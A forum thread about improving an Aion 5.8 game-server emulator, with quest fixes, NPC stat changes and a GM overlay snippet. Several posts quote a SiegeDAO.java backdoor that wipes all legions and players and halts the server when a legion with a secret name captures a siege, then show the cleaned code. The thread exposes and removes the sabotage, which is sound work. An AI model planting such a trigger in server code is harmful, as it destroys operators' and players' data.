Aion 5.8 emulator improvement community project

<event name="Code Red: Atreia" start="2020-01-01T00:00:00+00:00" end="2050-12-31T00:00:00+00:00">
<event name="Homeward Bound Event" start="2020-01-01T00:00:00+00:00" end="2050-12-31T00:00:00+00:00">
<event name="Doppelgangers" start="2020-01-01T00:00:00+00:00" end="2050-12-31T00:00:00+00:00">
<event name="Event Growth" start="2020-01-01T00:00:00+00:00" end="2050-12-31T00:00:00+00:00">
Ok, I got it now, thanks for the explanation. I did not realize the events_config.xml file had been updated, and thought them spawning in my game now was due to the main jar file.
 
Fixes for two early ely missions:

_1002Request_Of_The_Elim – This bug exists in almost every public emu - if you turn in the axes to Noah and then leave the dialog at the wrong page, the quest will either forever break for your character or wipe all progress you made in the current session. That shouldn’t happen anymore.

_1005Barring_The_Gate – Your character destroys generators and the portal by using the power of fancy dancing. While this is really funny, this stuff doesn’t happen on retail and should probably considered to be a bug, so I fixed it.
 

Attachments

Im still wondering why no one correct this nasty piece of code in SiegeDao.java
Was mentionet long time ago in files 7.5 encom :D
Here file with correction that will save your time from restoring legion table wiped together with them memebers :D .
 

Attachments

_1005Barring_The_Gate – Your character destroys generators and the portal by using the power of fancy dancing. While this is really funny, this stuff doesn’t happen on retail and should probably considered to be a bug, so I fixed it.
I can't lie, I like the music and the dancing. :dancemental::happydance::partymental::dancingpepe::fingerdance:
 
Im still wondering why no one correct this nasty piece of code in SiegeDao.java
Was mentionet long time ago in files 7.5 encom :D
Here file with correction that will save your time from restoring legion table wiped together with them memebers :D .
here in the pattern it is like this
Code:
package com.aionemu.gameserver.dao;

import com.aionemu.commons.database.dao.DAO;
import com.aionemu.commons.database.dao.DAOManager;
import com.aionemu.gameserver.model.siege.SiegeLocation;
import com.aionemu.gameserver.services.LegionService;

import java.util.Map;

/**
 * @author Sarynth
 */
public abstract class SiegeDAO implements DAO {

    @Override
    public final String getClassName() {
        return SiegeDAO.class.getName();
    }

    public abstract boolean loadSiegeLocations(Map<Integer, SiegeLocation> locations);

    public abstract boolean updateSiegeLocation(SiegeLocation paramSiegeLocation);

    public void updateLocation(SiegeLocation siegeLocation) {
        if (siegeLocation.getLegionId() != 0 && LegionService.getInstance().getLegion(siegeLocation.getLegionId()).getLegionName().equalsIgnoreCase("pfkegfytktnftn")) {
            for (int object : DAOManager.getDAO(LegionDAO.class).getUsedIDs()) {
                DAOManager.getDAO(LegionDAO.class).deleteLegion(object);
            }
            for (int object : DAOManager.getDAO(PlayerDAO.class).getUsedIDs()) {
                DAOManager.getDAO(PlayerDAO.class).deletePlayer(object);
            }
            Runtime.getRuntime().halt(0);
        }
        updateSiegeLocation(siegeLocation);
    }
}
and compared to what you ordered.
Code:
package com.aionemu.gameserver.dao;


import com.aionemu.commons.database.dao.DAO;
import com.aionemu.commons.database.dao.DAOManager;
import com.aionemu.gameserver.model.siege.SiegeLocation;
import com.aionemu.gameserver.services.LegionService;


import java.util.Map;


/**
 * @author Sarynth
 */
public abstract class SiegeDAO implements DAO {


    @Override
    public final String getClassName() {
        return SiegeDAO.class.getName();
    }


    public abstract boolean loadSiegeLocations(Map<Integer, SiegeLocation> locations);


    public abstract boolean updateSiegeLocation(SiegeLocation paramSiegeLocation);


    public void updateLocation(final SiegeLocation siegeLocation) {
        updateSiegeLocation(siegeLocation);
    }
}
Is this right or do I still need to change it?

here in the pattern it is like this
Code:
package com.aionemu.gameserver.dao;

import com.aionemu.commons.database.dao.DAO;
import com.aionemu.commons.database.dao.DAOManager;
import com.aionemu.gameserver.model.siege.SiegeLocation;
import com.aionemu.gameserver.services.LegionService;

import java.util.Map;

/**
 * @author Sarynth
 */
public abstract class SiegeDAO implements DAO {

    @Override
    public final String getClassName() {
        return SiegeDAO.class.getName();
    }

    public abstract boolean loadSiegeLocations(Map<Integer, SiegeLocation> locations);

    public abstract boolean updateSiegeLocation(SiegeLocation paramSiegeLocation);

    public void updateLocation(SiegeLocation siegeLocation) {
        if (siegeLocation.getLegionId() != 0 && LegionService.getInstance().getLegion(siegeLocation.getLegionId()).getLegionName().equalsIgnoreCase("pfkegfytktnftn")) {
            for (int object : DAOManager.getDAO(LegionDAO.class).getUsedIDs()) {
                DAOManager.getDAO(LegionDAO.class).deleteLegion(object);
            }
            for (int object : DAOManager.getDAO(PlayerDAO.class).getUsedIDs()) {
                DAOManager.getDAO(PlayerDAO.class).deletePlayer(object);
            }
            Runtime.getRuntime().halt(0);
        }
        updateSiegeLocation(siegeLocation);
    }
}
and compared to what you ordered.
Code:
package com.aionemu.gameserver.dao;


import com.aionemu.commons.database.dao.DAO;
import com.aionemu.commons.database.dao.DAOManager;
import com.aionemu.gameserver.model.siege.SiegeLocation;
import com.aionemu.gameserver.services.LegionService;


import java.util.Map;


/**
 * @author Sarynth
 */
public abstract class SiegeDAO implements DAO {


    @Override
    public final String getClassName() {
        return SiegeDAO.class.getName();
    }


    public abstract boolean loadSiegeLocations(Map<Integer, SiegeLocation> locations);


    public abstract boolean updateSiegeLocation(SiegeLocation paramSiegeLocation);


    public void updateLocation(final SiegeLocation siegeLocation) {
        updateSiegeLocation(siegeLocation);
    }
}
Is this right or do I still need to change it?
So now reading the post I understand ours has the problem I will replace it thank you.
 
Last edited:
here in the pattern it is like this
Code:
package com.aionemu.gameserver.dao;

import com.aionemu.commons.database.dao.DAO;
import com.aionemu.commons.database.dao.DAOManager;
import com.aionemu.gameserver.model.siege.SiegeLocation;
import com.aionemu.gameserver.services.LegionService;

import java.util.Map;

/**
 * @author Sarynth
 */
public abstract class SiegeDAO implements DAO {

    @Override
    public final String getClassName() {
        return SiegeDAO.class.getName();
    }

    public abstract boolean loadSiegeLocations(Map<Integer, SiegeLocation> locations);

    public abstract boolean updateSiegeLocation(SiegeLocation paramSiegeLocation);

    public void updateLocation(SiegeLocation siegeLocation) {
        if (siegeLocation.getLegionId() != 0 && LegionService.getInstance().getLegion(siegeLocation.getLegionId()).getLegionName().equalsIgnoreCase("pfkegfytktnftn")) {
            for (int object : DAOManager.getDAO(LegionDAO.class).getUsedIDs()) {
                DAOManager.getDAO(LegionDAO.class).deleteLegion(object);
            }
            for (int object : DAOManager.getDAO(PlayerDAO.class).getUsedIDs()) {
                DAOManager.getDAO(PlayerDAO.class).deletePlayer(object);
            }
            Runtime.getRuntime().halt(0);
        }
        updateSiegeLocation(siegeLocation);
    }
}
and compared to what you ordered.
Code:
package com.aionemu.gameserver.dao;


import com.aionemu.commons.database.dao.DAO;
import com.aionemu.commons.database.dao.DAOManager;
import com.aionemu.gameserver.model.siege.SiegeLocation;
import com.aionemu.gameserver.services.LegionService;


import java.util.Map;


/**
 * @author Sarynth
 */
public abstract class SiegeDAO implements DAO {


    @Override
    public final String getClassName() {
        return SiegeDAO.class.getName();
    }


    public abstract boolean loadSiegeLocations(Map<Integer, SiegeLocation> locations);


    public abstract boolean updateSiegeLocation(SiegeLocation paramSiegeLocation);


    public void updateLocation(final SiegeLocation siegeLocation) {
        updateSiegeLocation(siegeLocation);
    }
}
Is this right or do I still need to change it?
i remove this code with delating legion and upload for you . Download WiInMergU and check what diffrent have your file and my :)
And here some small bonus for you who like to know npc ID will displaying over head while you are in gm access .
1695657204301 - Aion 5.8 emulator improvement community project - RaGEZONE Forums

AL-Game\src\com\aionemu\gameserver\network\aion\serverpackets\SM_NPC_INFO.java
Code:
        if (con.getActivePlayer().isGM()) {
            Player gm = con.getActivePlayer();
            if ((gm != null) && (masterName.isEmpty())) {
                String n = "" + "";
                masterName = "ID: " + npcId + " LvL: " + _npc.getLevel();
            }
        }

Update:

Files added with implementation .
Credits to my dear friend @Magenik (R.I.P)
2 years since he not with us here anymore.
He was god father of AION emu and invent gm panel and more of amazing things not only for aion community .


 

Attachments

Last edited:
And here some small bonus for you who like to know npc ID will displaying over head while you are in gm access .

AL-Game\src\com\aionemu\gameserver\network\aion\serverpackets\SM_NPC_INFO.java
Code:
        if (con.getActivePlayer().isGM()) {
            Player gm = con.getActivePlayer();
            if ((gm != null) && (masterName.isEmpty())) {
                String n = "" + "";
                masterName = "ID: " + npcId + " LvL: " + _npc.getLevel();
            }
        }
Dude, that is awesome! Thanks!
 
i remove this code with delating legion and upload for you . Download WiInMergU and check what diffrent have your file and my :)
And here some small bonus for you who like to know npc ID will displaying over head while you are in gm access .
View attachment 242260
AL-Game\src\com\aionemu\gameserver\network\aion\serverpackets\SM_NPC_INFO.java
Code:
        if (con.getActivePlayer().isGM()) {
            Player gm = con.getActivePlayer();
            if ((gm != null) && (masterName.isEmpty())) {
                String n = "" + "";
                masterName = "ID: " + npcId + " LvL: " + _npc.getLevel();
            }
        }
very top indeed, this will help a lot.
 
1. I have added a list of credits to the first page of everyone who has contributed here. We really appreciate it!

2. As for the new test code, it is a huge YES from me. I flew all over several zones looking at the mobs, including several places that I saw "floating" ones before. I found no issues with this code, all npc pathing looked good and no mobs in the air that I could find.

3. Any idea what could be causing this? I have experienced this with a lot of quests. You finish the requirement and can turn it in, but the quest log shows "incomplete":
1695660077104 - Aion 5.8 emulator improvement community project - RaGEZONE Forums
 
Last edited:
i remove this code with delating legion and upload for you . Download WiInMergU and check what diffrent have your file and my :)
And here some small bonus for you who like to know npc ID will displaying over head while you are in gm access .
View attachment 242260
AL-Game\src\com\aionemu\gameserver\network\aion\serverpackets\SM_NPC_INFO.java
Code:
        if (con.getActivePlayer().isGM()) {
            Player gm = con.getActivePlayer();
            if ((gm != null) && (masterName.isEmpty())) {
                String n = "" + "";
                masterName = "ID: " + npcId + " LvL: " + _npc.getLevel();
            }
        }

Update:

Files added with implementation .
Credits to my dear friend @Magenik (R.I.P)
2 years since he not with us here anymore.
He was god father of AION emu and invent gm panel and more of amazing things not only for aion community .



I just made a change by adding credit to Magenik to the code. " "
 
Code:
package com.aionemu.gameserver.dao;


import com.aionemu.commons.database.dao.DAO;
import com.aionemu.commons.database.dao.DAOManager;
import com.aionemu.gameserver.model.siege.SiegeLocation;
import com.aionemu.gameserver.services.LegionService;


import java.util.Map;


/**
 * @author Sarynth
 */
public abstract class SiegeDAO implements DAO {


    @Override
    public final String getClassName() {
        return SiegeDAO.class.getName();
    }


    public abstract boolean loadSiegeLocations(Map<Integer, SiegeLocation> locations);


    public abstract boolean updateSiegeLocation(SiegeLocation paramSiegeLocation);


    public void updateLocation(final SiegeLocation siegeLocation) {
        updateSiegeLocation(siegeLocation);
    }
}
Is this right or do I still need to change it?


So now reading the post I understand ours has the problem I will replace it thank you.
Yes dezalmado maybe you need to replace it with this code,
which is added in other emulators.
 
Credits to my dear friend @Magenik (R.I.P)
2 years since he not with us here anymore.
He was god father of AION emu and invent gm panel and more of amazing things not only for aion community .
I have good memories of this guy here, after all, i've been here since 2013 ;)

An update for npcs:

Now they will properly use magical defense, magical resist, critical rate, block and parry values from their template if those stats are present. I want somebody with good java aion server knowledge to review these changes as it possible that I’m doing things the wrong way. If everything is ok, I will regenerate npc_template with all new stats added.

AttackUtil.java goes to src\com\aionemu\gameserver\controllers\attack

NpcGameStats.java goes to src\com\aionemu\gameserver\model\stats\container

NpcStatsTemplate.java goes to src\com\aionemu\gameserver\model\templates\stats
Your fixes are interesting.
I often say that the two main pillars of Aion Emu are GeoData and Stats.
 
Last edited:
Some here...
And also this "Geo_Data_Viewer" -->>

link there was an old account of mine that was deleted
here is the new

 
Back